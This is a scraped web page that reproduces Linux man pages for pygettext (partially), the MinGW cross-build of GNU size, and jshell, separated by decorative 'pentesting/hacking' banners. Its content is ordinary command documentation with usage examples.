Extract module, class, method, and function docstrings. These do not need to be wrapped in _() markers, and in fact cannot be for Python to consider them docstrings. (See also the -X option).

-h, –help
Print this help message and exit.

-k, –keyword=WORD
Keywords to look for in addition to the default set, which are: _

You can have multiple -k flags on the command line.

-K, –no-default-keywords
Disable the default set of keywords (see above). Any keywords explicitly added with the -k/–keyword option are still recognized.

–no-location
Do not write filename/lineno location comments.

-n, –add-location
Write filename/lineno location comments indicating where each extracted string is found in the source. These lines appear before each msgid. The style of comments is controlled by the -S/–style option. This is the default.

-o, –output=FILENAME
Rename the default output file from messages.pot to FILENAME. If FILENAME is `-’ then the output is sent to standard out.

-p, –output-dir=DIR
Output files will be placed in directory DIR.

-S, –style=STYLENAME
Specify which style to use for location comments. Two styles are supported:

  • Solaris # File: filename, line: line-number

  • GNU #: filename:line

The style name is case insensitive. GNU style is the default.

-v, –verbose
Print the names of the files being processed.

-V, –version
Print the version of pygettext and exit.

-w, –width=COLUMNS
Set width of output to columns.

-x, –exclude-file=FILENAME
Specify a file that contains a list of strings that are not be extracted from the input files. Each string to be excluded must appear on a line by itself in the file.

-X, –no-docstrings=FILENAME
Specify a file that contains a list of files (one per line) that should not have their docstrings extracted. This is only useful in conjunction with the -D option above.

If `INPUTFILE’ is -, standard input is read.

BUGS

pygettext attempts to be option and feature compatible with GNU xgettext where ever possible. However some options are still missing or are not fully implemented. Also, xgettext’s use of command line switches with option arguments is broken, and in these cases, pygettext just defines additional switches.

AUTHOR

pygettext is written by Barry Warsaw <[email protected]>.

Joonas Paalasmaa <[email protected]> put this manual page together based on “pygettext –help”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1990 - Linux cli command x86_64-w64-mingw32ucrt-size

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-w64-mingw32ucrt-size and provides detailed information about the command x86_64-w64-mingw32ucrt-size, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-w64-mingw32ucrt-size.

NAME 🖥️ x86_64-w64-mingw32ucrt-size 🖥️

list section sizes and total size of binary files

SYNOPSIS

size [-A|-B|-G|–format=compatibility] [–help] [-d|-o|-x|–radix=number] [–common] [-t|–totals] [–target=bfdname] [-V|–version] [-f] [objfile…]

DESCRIPTION

The GNU size utility lists the section sizes and the total size for each of the binary files objfile on its argument list. By default, one line of output is generated for each file or each module if the file is an archive.

objfile… are the files to be examined. If none are specified, the file a.out will be used instead.

OPTIONS

The command-line options have the following meanings:

-A

-B

-G

–format=compatibility

Using one of these options, you can choose whether the output from GNU size resembles output from System V size (using -A, or –format=sysv), or Berkeley size (using -B, or –format=berkeley). The default is the one-line format similar to Berkeley’s. Alternatively, you can choose the GNU format output (using -G, or –format=gnu), this is similar to Berkeley’s output format, but sizes are counted differently. Here is an example of the Berkeley (default) format of output from size: $ size –format=Berkeley ranlib size text data bss dec hex filename 294880 81920 11592 388392 5ed28 ranlib 294880 81920 11888 388688 5ee50 size The Berkeley style output counts read only data in the text column, not in the data column, the dec and hex columns both display the sum of the text, data, and bss columns in decimal and hexadecimal respectively. The GNU format counts read only data in the data column, not the text column, and only displays the sum of the text, data, and bss columns once, in the total column. The –radix option can be used to change the number base for all columns. Here is the same data displayed with GNU conventions: $ size –format=GNU ranlib size text data bss total filename 279880 96920 11592 388392 ranlib 279880 96920 11888 388688 size This is the same data, but displayed closer to System V conventions: $ size –format=SysV ranlib size ranlib : section size addr .text 294880 8192 .data 81920 303104 .bss 11592 385024 Total 388392 size : section size addr .text 294880 8192 .data 81920 303104 .bss 11888 385024 Total 388688

–help

-h

-H

-?

Show a summary of acceptable arguments and options.

-d

-o

-x

–radix=number

Using one of these options, you can control whether the size of each section is given in decimal (-d, or –radix=10); octal (-o, or –radix=8); or hexadecimal (-x, or –radix=16). In **–radix=**number, only the three values (8, 10, 16) are supported. The total size is always given in two radices; decimal and hexadecimal for -d or -x output, or octal and hexadecimal if you’re using -o.

–common
Print total size of common symbols in each file. When using Berkeley or GNU format these are included in the bss size.

-t

–totals

Show totals of all objects listed (Berkeley or GNU format mode only).

–target=bfdname
Specify that the object-code format for objfile is bfdname. This option may not be necessary; size can automatically recognize many formats.

-v

-V

–version

Display the version number of size.

-f
Ignored. This option is used by other versions of the size program, but it is not supported by the GNU Binutils version.

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

SEE ALSO

ar (1), objdump (1), readelf (1), and the Info entries for binutils.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1991 - Linux cli command jshell

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command jshell and provides detailed information about the command jshell, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the jshell.

NAME 🖥️ jshell 🖥️

interactively evaluate declarations, statements, and expressions of the Java programming language in a read-eval-print loop (REPL)

SYNOPSIS

jshell [options] [load-files]

options
Command-line options, separated by spaces. See Options for jshell.

load-files
One or more scripts to run when the tool is started. Scripts can contain any valid code snippets or JShell commands.

The script can be a local file or one of following predefined scripts:

DEFAULT
Loads the default entries, which are commonly used as imports.

JAVASE
Imports all Java SE packages.

PRINTING
Defines print, println, and printf as jshell methods for use within the tool.

For more than one script, use a space to separate the names. Scripts are run in the order in which they’re entered on the command line. Command-line scripts are run after startup scripts. To run a script after JShell is started, use the /open command.

To accept input from standard input and suppress the interactive I/O, enter a hyphen (-) for load-files. This option enables the use of the jshell tool in pipe chains.

DESCRIPTION

JShell provides a way to interactively evaluate declarations, statements, and expressions of the Java programming language, making it easier to learn the language, explore unfamiliar code and APIs, and prototype complex code. Java statements, variable definitions, method definitions, class definitions, import statements, and expressions are accepted. The bits of code entered are called snippets.

As snippets are entered, they’re evaluated, and feedback is provided. Feedback varies from the results and explanations of actions to nothing, depending on the snippet entered and the feedback mode chosen. Errors are described regardless of the feedback mode. Start with the verbose mode to get the most feedback while learning the tool.

Command-line options are available for configuring the initial environment when JShell is started. Within JShell, commands are available for modifying the environment as needed.

Existing snippets can be loaded from a file to initialize a JShell session, or at any time within a session. Snippets can be modified within the session to try out different variations and make corrections. To keep snippets for later use, save them to a file.

OPTIONS FOR JSHELL

--add-exports module/package
Specifies a package to be considered as exported from its defining module.

**--add-modules module[**,module…]
Specifies the root modules to resolve in addition to the initial module.

****-Cflag
Provides a flag to pass to the compiler. To pass more than one flag, provide an instance of this option for each flag or flag argument needed.

--class-path path
Specifies the directories and archives that are searched to locate class files. This option overrides the path in the CLASSPATH environment variable. If the environment variable isn’t set and this option isn’t used, then the current directory is searched. For Linux and macOS, use a colon (:) to separate items in the path. For Windows, use a semicolon (;) to separate items.

--enable-preview
Allows code to depend on the preview features of this release.

--execution specification
Specifies an alternate execution engine, where specification is an ExecutionControl spec. See the documentation of the package jdk.jshell.spi for the syntax of the spec.

--feedback mode
Sets the initial level of feedback provided in response to what’s entered. The initial level can be overridden within a session by using the /set feedback mode command. The default is normal.

The following values are valid for mode:

verbose
Provides detailed feedback for entries. Additional information about the action performed is displayed after the result of the action. The next prompt is separated from the feedback by a blank line.

normal
Provides an average amount of feedback. The next prompt is separated from the feedback by a blank line.

concise
Provides minimal feedback. The next prompt immediately follows the code snippet or feedback.

silent
Provides no feedback. The next prompt immediately follows the code snippet.

custom
Provides custom feedback based on how the mode is defined. Custom feedback modes are created within JShell by using the /set mode command.

--help or -h or -?
Prints a summary of standard options and exits the tool.

--help-extra or -X
Prints a summary of nonstandard options and exits the tool. Nonstandard options are subject to change without notice.

****-Jflag
Provides a flag to pass to the runtime system. To pass more than one flag, provide an instance of this option for each flag or flag argument needed.

--module-path modulepath
Specifies where to find application modules. For Linux and macOS, use a colon (:) to separate items in the path. For Windows, use a semicolon (;) to separate items.

--no-startup
Prevents startup scripts from running when JShell starts. Use this option to run only the scripts entered on the command line when JShell is started, or to start JShell without any preloaded information if no scripts are entered. This option can’t be used if the --startup option is used.

-q
Sets the feedback mode to concise, which is the same as entering --feedback concise.

****-Rflag
Provides a flag to pass to the remote runtime system. To pass more than one flag, provide an instance of this option for each flag or flag argument to pass.

-s
Sets the feedback mode to silent, which is the same as entering --feedback silent.

--show-version
Prints version information and enters the tool.

--startup file
Overrides the default startup script for this session. The script can contain any valid code snippets or commands.

The script can be a local file or one of the following predefined scripts:

DEFAULT
Loads the default entries, which are commonly used as imports.

JAVASE
Imports all Java SE packages.

PRINTING
Defines print, println, and printf as jshell methods for use within the tool.

For more than one script, provide a separate instance of this option for each script. Startup scripts are run when JShell is first started and when the session is restarted with the /reset, /reload, or /env command. Startup scripts are run in the order in which they’re entered on the command line.

This option can’t be used if the --no-startup option is used.

-v
Sets the feedback mode to verbose, which is the same as entering --feedback verbose.

--version
Prints version information and exits the tool.

JSHELL COMMANDS

Within the jshell tool, commands are used to modify the environment and manage code snippets.

/drop {name|id|startID-endID} [{name|id|startID-endID}…]
Drops snippets identified by name, ID, or ID range, making them inactive. For a range of IDs, provide the starting ID and ending ID separated with a hyphen. To provide a list, separate the items in the list with a space. Use the /list command to see the IDs of code snippets.

/edit [option]
Opens an editor. If no option is entered, then the editor opens with the active snippets.

The following options are valid:

{name|id|startID-endID} [{name|id|startID-endID}…]
Opens the editor with the snippets identified by name, ID, or ID range. For a range of IDs, provide the starting ID and ending ID separated with a hyphen. To provide a list, separate the items in the list with a space. Use the /list command to see the IDs of code snippets.

-all
Opens the editor with all snippets, including startup snippets and snippets that failed, were overwritten, or were dropped.

-start
Opens the editor with startup snippets that were evaluated when JShell was started.

To exit edit mode, close the editor window, or respond to the prompt provided if the -wait option was used when the editor was set.

Use the /set editor command to specify the editor to use. If no editor is set, then the following environment variables are checked in order: JSHELLEDITOR, VISUAL, and EDITOR. If no editor is set in JShell and none of the editor environment variables is set, then a simple default editor is used.

/env [options]
Displays the environment settings, or updates the environment settings and restarts the session. If no option is entered, then the current environment settings are displayed. If one or more options are entered, then the session is restarted as follows:

  • Updates the environment settings with the provided options.

  • Resets the execution state.

  • Runs the startup scripts.

  • Silently replays the history in the order entered. The history includes all valid snippets or /drop commands entered at the jshell prompt, in scripts entered on the command line, or scripts entered with the /open command.

Environment settings entered on the command line or provided with a previous /reset, /env, or /reload command are maintained unless an option is entered that overwrites the setting.

The following options are valid:

**--add-modules module[**,module…]
Specifies the root modules to resolve in addition to the initial module.

--add-exports source-module/package=target-module[,target-module]*
Adds an export of package from source-module to target-module.

--class-path path
Specifies the directories and archives that are searched to locate class files. This option overrides the path in the CLASSPATH environment variable. If the environment variable isn’t set and this option isn’t used, then the current directory is searched. For Linux and macOS, use a colon (:) to separate items in the path. For Windows, use a semicolon (;) to separate items.

--module-path modulepath
Specifies where to find application modules. For Linux and macOS, use a colon (:) to separate items in the path. For Windows, use a semicolon (;) to separate items.

/exit [integer-expression-snippet]
Exits the tool. If no snippet is entered, the exit status is zero. If a snippet is entered and the result of the snippet is an integer, the result is used as the exit status. If an error occurs, or the result of the snippet is not an integer, an error is displayed and the tool remains active.

/history
Displays what was entered in this session.

/help [command|subject]
Displays information about commands and subjects. If no options are entered, then a summary of information for all commands and a list of available subjects are displayed. If a valid command is provided, then expanded information for that command is displayed. If a valid subject is entered, then information about that subject is displayed.

The following values for subject are valid:

context
Describes the options that are available for configuring the environment.

intro
Provides an introduction to the tool.

shortcuts
Describes keystrokes for completing commands and snippets. See Input Shortcuts.

/imports
Displays the current active imports, including those from the startup scripts and scripts that were entered on the command line when JShell was started.

/list [option]
Displays a list of snippets and their IDs. If no option is entered, then all active snippets are displayed, but startup snippets aren’t.

The following options are valid:

{name|id|startID-endID} [{name|id|startID-endID}…]
Displays the snippets identified by name, ID, or ID range. For a range of IDs, provide the starting ID and ending ID separated with a hyphen. To provide a list, separate the items in the list with a space.

-all
Displays all snippets, including startup snippets and snippets that failed, were overwritten, or were dropped. IDs that begin with s are startup snippets. IDs that begin with e are snippets that failed.

-start
Displays startup snippets that were evaluated when JShell was started.

/methods [option]
Displays information about the methods that were entered. If no option is entered, then the name, parameter types, and return type of all active methods are displayed.

The following options are valid:

{name|id|startID-endID} [{name|id|startID-endID}…]
Displays information for methods identified by name, ID, or ID range. For a range of IDs, provide the starting ID and ending ID separated with a hyphen. To provide a list, separate the items in the list with a space. Use the /list command to see the IDs of code snippets.

-all
Displays information for all methods, including those added when JShell was started, and methods that failed, were overwritten, or were dropped.

-start
Displays information for startup methods that were added when JShell was started.

/open file
Opens the script specified and reads the snippets into the tool. The script can be a local file or one of the following predefined scripts:

DEFAULT
Loads the default entries, which are commonly used as imports.

JAVASE
Imports all Java SE packages.

PRINTING
Defines print, println, and printf as jshell methods for use within the tool.

/reload [options]
Restarts the session as follows:

  • Updates the environment settings with the provided options, if any.

  • Resets the execution state.

  • Runs the startup scripts.

  • Replays the history in the order entered. The history includes all valid snippets or /drop commands entered at the jshell prompt, in scripts entered on the command line, or scripts entered with the /open command.

Environment settings entered on the command line or provided with a previous /reset, /env, or /reload command are maintained unless an option is entered that overwrites the setting.

The following options are valid:

**--add-modules module[**,module…]
Specifies the root modules to resolve in addition to the initial module.

--add-exports source-module/package=target-module[,target-module]*
Adds an export of package from source-module to target-module.

--class-path path
Specifies the directories and archives that are searched to locate class files. This option overrides the path in the CLASSPATH environment variable. If the environment variable isn’t set and this option isn’t used, then the current directory is searched. For Linux and macOS, use a colon (:) to separate items in the path. For Windows, use a semicolon (;) to separate items.

--module-path modulepath
Specifies where to find application modules. For Linux and macOS, use a colon (:) to separate items in the path. For Windows, use a semicolon (;) to separate items.

-quiet
Replays the valid history without displaying it. Errors are displayed.

-restore
Resets the environment to the state at the start of the previous run of the tool or to the last time a /reset, /reload, or /env command was executed in the previous run. The valid history since that point is replayed. Use this option to restore a previous JShell session.

/reset [options]
Discards all entered snippets and restarts the session as follows:

  • Updates the environment settings with the provided options, if any.

  • Resets the execution state.

  • Runs the startup scripts.

History is not replayed. All code that was entered is lost.

Environment settings entered on the command line or provided with a previous /reset, /env, or /reload command are maintained unless an option is entered that overwrites the setting.

The following options are valid:

**--add-modules module[**,module…]
Specifies the root modules to resolve in addition to the initial module.

--add-exports source-module/package=target-module[,target-module]*
Adds an export of package from source-module to target-module.

--class-path path
Specifies the directories and archives that are searched to locate class files. This option overrides the path in the CLASSPATH environment variable. If the environment variable isn’t set and this option isn’t used, then the current directory is searched. For Linux and macOS, use a colon (:) to separate items in the path. For Windows, use a semicolon (;) to separate items.

--module-path modulepath
Specifies where to find application modules. For Linux and macOS, use a colon (:) to separate items in the path. For Windows, use a semicolon (;) to separate items.

/save [options] file
Saves snippets and commands to the file specified. If no options are entered, then active snippets are saved.

The following options are valid:

{name|id|startID-endID} [{name|id|startID-endID}…]
Saves the snippets and commands identified by name, ID, or ID range. For a range of IDs, provide the starting ID and ending ID separated with a hyphen. To provide a list, separate the items in the list with a space. Use the /list command to see the IDs of the code snippets.

-all
Saves all snippets, including startup snippets and snippets that were overwritten or failed.

-history
Saves the sequential history of all commands and snippets entered in the current session.

-start
Saves the current startup settings. If no startup scripts were provided, then an empty file is saved.

/set [setting]
Sets configuration information, including the external editor, startup settings, and feedback mode. This command is also used to create a custom feedback mode with customized prompt, format, and truncation values. If no setting is entered, then the current setting for the editor, startup settings, and feedback mode are displayed.

The following values are valid for setting:

editor [options] [command]
Sets the command used to start an external editor when the /edit command is entered. The command can include command arguments separated by spaces. If no command or options are entered, then the current setting is displayed.

The following options are valid:

-default
Sets the editor to the default editor provided with JShell. This option can’t be used if a command for starting an editor is entered.

-delete
Sets the editor to the one in effect when the session started. If used with the -retain option, then the retained editor setting is deleted and the editor is set to the first of the following environment variables found: JSHELLEDITOR, VISUAL, or EDITOR. If none of the editor environment variables are set, then this option sets the editor to the default editor.

This option can’t be used if a command for starting an editor is entered.

-retain
Saves the editor setting across sessions. If no other option or a command is entered, then the current setting is saved.

-wait
Prompts the user to indicate when editing is complete. Otherwise control returns to JShell when the editor exits. Use this option if the editor being used exits immediately, for example, when an edit window already exists. This option is valid only when a command for starting an editor is entered.

feedback [mode]
Sets the feedback mode used to respond to input. If no mode is entered, then the current mode is displayed.

The following modes are valid: concise, normal, silent, verbose, and any custom mode created with the /set mode command.

format mode field "format-string" selector
Sets the format of the feedback provided in response to input. If no mode is entered, then the current formats for all fields for all feedback modes are displayed. If only a mode is entered, then the current formats for that mode are displayed. If only a mode and field are entered, then the current formats for that field are displayed.

To define a format, the following arguments are required:

mode
Specifies a feedback mode to which the response format is applied. Only custom modes created with the /set mode command can be modified.

field
Specifies a context-specific field to which the response format is applied. The fields are described in the online help, which is accessed from JShell using the /help /set format command.

"format-string"
Specifies the string to use as the response format for the specified field and selector. The structure of the format string is described in the online help, which is accessed from JShell using the /help /set format command.

selector
Specifies the context in which the response format is applied. The selectors are described in the online help, which is accessed from JShell using the /help /set format command.

mode [mode-name] [existing-mode] [options]
Creates a custom feedback mode with the mode name provided. If no mode name is entered, then the settings for all modes are displayed, which includes the mode, prompt, format, and truncation settings. If the name of an existing mode is provided, then the settings from the existing mode are copied to the mode being created.

The following options are valid:

-command|-quiet
Specifies the level of feedback displayed for commands when using the mode. This option is required when creating a feedback mode. Use -command to show information and verification feedback for commands. Use -quiet to show only essential feedback for commands, such as error messages.

-delete
Deletes the named feedback mode for this session. The name of the mode to delete is required. To permanently delete a retained mode, use the -retain option with this option. Predefined modes can’t be deleted.

-retain
Saves the named feedback mode across sessions. The name of the mode to retain is required.

Configure the new feedback mode using the /set prompt, /set format, and /set truncation commands.

To start using the new mode, use the /set feedback command.

prompt mode "prompt-string" "continuation-prompt-string"
Sets the prompts for input within JShell. If no mode is entered, then the current prompts for all feedback modes are displayed. If only a mode is entered, then the current prompts for that mode are displayed.

To define a prompt, the following arguments are required:

mode
Specifies the feedback mode to which the prompts are applied. Only custom modes created with the /set mode command can be modified.

"prompt-string"
Specifies the string to use as the prompt for the first line of input.

"continuation-prompt-string"
Specifies the string to use as the prompt for the additional input lines needed to complete a snippet.

start [-retain] [file [file…]|option]
Sets the names of the startup scripts used when the next /reset, /reload, or /env command is entered. If more than one script is entered, then the scripts are run in the order entered. If no scripts or options are entered, then the current startup settings are displayed.

The scripts can be local files or one of the following predefined scripts:

DEFAULT
Loads the default entries, which are commonly used as imports.

JAVASE
Imports all Java SE packages.

PRINTING
Defines print, println, and printf as jshell methods for use within the tool.

The following options are valid:

-default
Sets the startup settings to the default settings.

-none
Specifies that no startup settings are used.

Use the -retain option to save the start setting across sessions.

truncation mode length selector
Sets the maximum length of a displayed value. If no mode is entered, then the current truncation values for all feedback modes are displayed. If only a mode is entered, then the current truncation values for that mode are displayed.

To define truncation values, the following arguments are required:

mode
Specifies the feedback mode to which the truncation value is applied. Only custom modes created with the /set mode command can be modified.

length
Specifies the unsigned integer to use as the maximum length for the specified selector.

selector
Specifies the context in which the truncation value is applied. The selectors are described in the online help, which is accessed from JShell using the /help /set truncation command.

/types [option]
Displays classes, interfaces, and enums that were entered. If no option is entered, then all current active classes, interfaces, and enums are displayed.

The following options are valid:

{name|id|startID-endID} [{name|id|startID-endID}…]
Displays information for classes, interfaces, and enums identified by name, ID, or ID range. For a range of IDs, provide the starting ID and ending ID separated with a hyphen. To provide a list, separate the items in the list with a space. Use the /list command to see the IDs of the code snippets.

-all
Displays information for all classes, interfaces, and enums, including those added when JShell was started, and classes, interfaces, and enums that failed, were overwritten, or were dropped.

-start
Displays information for startup classes, interfaces, and enums that were added when JShell was started.

/vars [option]
Displays the name, type, and value of variables that were entered. If no option is entered, then all current active variables are displayed.

The following options are valid:

{name|id|startID-endID} [{name|id|startID-endID}…]
Displays information for variables identified by name, ID, or ID range. For a range of IDs, provide the starting ID and ending ID separated with a hyphen. To provide a list, separate the items in the list with a space. Use the /list command to see the IDs of the code snippets.

-all
Displays information for all variables, including those added when JShell was started, and variables that failed, were overwritten, or were dropped.

-start
Displays information for startup variables that were added when JShell was started.

/?
Same as the /help command.

/!
Reruns the last snippet.

****/{name|id|startID-endID} [{name|id|startID-endID}…]
Reruns the snippets identified by ID, range of IDs, or name. For a range of IDs, provide the starting ID and ending ID separated with a hyphen. To provide a list, separate the items in the list with a space. The first item in the list must be an ID or ID range. Use the /list command to see the IDs of the code snippets.

****/-n
Reruns the -nth previous snippet. For example, if 15 code snippets were entered, then /-4 runs the 11th snippet. Commands aren’t included in the count.

INPUT SHORTCUTS

The following shortcuts are available for entering commands and snippets in JShell.

Tab completion

<tab>
When entering snippets, commands, subcommands, command arguments, or command options, use the Tab key to automatically complete the item. If the item can’t be determined from what was entered, then possible options are provided.

When entering a method call, use the Tab key after the method call’s opening parenthesis to see the parameters for the method. If the method has more than one signature, then all signatures are displayed. Pressing the Tab key a second time displays the description of the method and the parameters for the first signature. Continue pressing the Tab key for a description of any additional signatures.

Shift+<Tab> V
After entering a complete expression, use this key sequence to convert the expression to a variable declaration of a type determined by the type of the expression.

Shift+<Tab> M
After entering a complete expression or statement, use this key sequence to convert the expression or statement to a method declaration. If an expression is entered, the return type is based on the type of the expression.

Shift+<Tab> I
When an identifier is entered that can’t be resolved, use this key sequence to show possible imports that resolve the identifier based on the content of the specified class path.

Command abbreviations

An abbreviation of a command is accepted if the abbreviation uniquely identifies a command. For example, /l is recognized as the /list command. However, /s isn’t a valid abbreviation because it can’t be determined if the /set or /save command is meant. Use /se for the /set command or /sa for the /save command.

Abbreviations are also accepted for subcommands, command arguments, and command options. For example, use /m -a to display all methods.

History navigation

A history of what was entered is maintained across sessions. Use the up and down arrows to scroll through commands and snippets from the current and past sessions. Use the Ctrl key with the up and down arrows to skip all but the first line of multiline snippets.

Use the Ctrl+R key combination to search the history for the string entered. The prompt changes to show the string and the match. Ctrl+R searches backwards from the current location in the history through earlier entries. Ctrl+S searches forward from the current location in the history though later entries.

INPUT EDITING

The editing capabilities of JShell are similar to that of other common shells. Keyboard keys and key combinations provide line editing shortcuts. The Ctrl key and Meta key are used in key combinations. If your keyboard doesn’t have a Meta key, then the Alt key is often mapped to provide Meta key functionality.

Key or Key CombinationAction
ReturnEnter the current line.
Left arrowMove the cursor to the left one character.
Right arrowMove the cursor to the right one character.
Ctrl+AMove the cursor to the beginning of the line.
Ctrl+EMove the cursor to the end of the line.
Meta+BMove the cursor to the left one word.
Meta+FMove the cursor to the right one word.
DeleteDelete the character under the cursor.
BackspaceDelete the character before the cursor.
Ctrl+KDelete the text from the cursor to the end of the line.
Meta+DDelete the text from the cursor to the end of the word.
Ctrl+WDelete the text from the cursor to the previous white space.
Ctrl+YPaste the most recently deleted text into the line.
Meta+YAfter Ctrl+Y, press to cycle through the previously deleted text.

EXAMPLE OF STARTING AND STOPPING A JSHELL SESSION

JShell is provided with the JDK. To start a session, enter jshell on the command line. A welcome message is printed, and a prompt for entering commands and snippets is provided.

% jshell
|  Welcome to JShell -- Version 9
|  For an introduction type: /help intro

jshell>

To see which snippets were automatically loaded when JShell started, use the /list -start command. The default startup snippets are import statements for common packages. The ID for each snippet begins with the letter s, which indicates it’s a startup snippet.

jshell> /list -start

  s1 : import java.io.*;
  s2 : import java.math.*;
  s3 : import java.net.*;
  s4 : import java.nio.file.*;
  s5 : import java.util.*;
  s6 : import java.util.concurrent.*;
  s7 : import java.util.function.*;
  s8 : import java.util.prefs.*;
  s9 : import java.util.regex.*;
 s10 : import java.util.stream.*;

jshell>

To end the session, use the /exit command.

jshell> /exit
|  Goodbye

%

EXAMPLE OF ENTERING SNIPPETS

Snippets are Java statements, variable definitions, method definitions, class definitions, import statements, and expressions. Terminating semicolons are automatically added to the end of a completed snippet if they’re missing.

The following example shows two variables and a method being defined, and the method being run. Note that a scratch variable is automatically created to hold the result because no variable was provided.

jshell> int a=4
a ==> 4

jshell> int b=8
b ==> 8

jshell> int square(int i1) {
   ...> return i1 * i1;
   ...> }
|  created method square(int)

jshell> square(b)
$5 ==> 64

EXAMPLE OF CHANGING SNIPPETS

Change the definition of a variable, method, or class by entering it again.

The following examples shows a method being defined and the method run:

jshell> String grade(int testScore) {
   ...>     if (testScore >= 90) {
   ...>         return "Pass";
   ...>     }
   ...>     return "Fail";
   ...> }
|  created method grade(int)

jshell> grade(88)
$3 ==> "Fail"

To change the method grade to allow more students to pass, enter the method definition again and change the pass score to 80. Use the up arrow key to retrieve the previous entries to avoid having to reenter them and make the change in the if statement. The following example shows the new definition and reruns the method to show the new result:

jshell> String grade(int testScore) {
   ...>     if (testScore >= 80) {
   ...>         return "Pass";
   ...>     }
   ...>     return "Fail";
   ...> }
|  modified method grade(int)

jshell> grade(88)
$5 ==> "Pass"

For snippets that are more than a few lines long, or to make more than a few changes, use the /edit command to open the snippet in an editor. After the changes are complete, close the edit window to return control to the JShell session. The following example shows the command and the feedback provided when the edit window is closed. The /list command is used to show that the pass score was changed to 85.

jshell> /edit grade
|  modified method grade(int)
jshell> /list grade

   6 : String grade(int testScore) {
           if (testScore >= 85) {
               return "Pass";
           }
           return "Fail";
       }

EXAMPLE OF CREATING A CUSTOM FEEDBACK MODE

The feedback mode determines the prompt that’s displayed, the feedback messages that are provided as snippets are entered, and the maximum length of a displayed value. Predefined feedback modes are provided. Commands for creating custom feedback modes are also provided.

Use the /set mode command to create a new feedback mode. In the following example, the new mode mymode, is based on the predefined feedback mode, normal, and verifying command feedback is displayed:

jshell> /set mode mymode normal -command
|  Created new feedback mode: mymode

Because the new mode is based on the normal mode, the prompts are the same. The following example shows how to see what prompts are used and then changes the prompts to custom strings. The first string represents the standard JShell prompt. The second string represents the prompt for additional lines in multiline snippets.

jshell> /set prompt mymode
|  /set prompt mymode "

jshell> " " …> "

jshell> /set prompt mymode "

prompt$ " " continue$ "

The maximum length of a displayed value is controlled by the truncation setting. Different types of values can have different lengths. The following example sets an overall truncation value of 72, and a truncation value of 500 for variable value expressions:

jshell> /set truncation mymode 72

jshell> /set truncation mymode 500 varvalue

The feedback displayed after snippets are entered is controlled by the format setting and is based on the type of snippet entered and the action taken for that snippet. In the predefined mode normal, the string created is displayed when a method is created. The following example shows how to change that string to defined:

jshell> /set format mymode action "defined" added-primary

Use the /set feedback command to start using the feedback mode that was just created. The following example shows the custom mode in use:

jshell> /set feedback mymode
|  Feedback mode: mymode

prompt$ int square (int num1){
   continue$ return num1*num1;
   continue$ }
|  defined method square(int)

prompt$
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

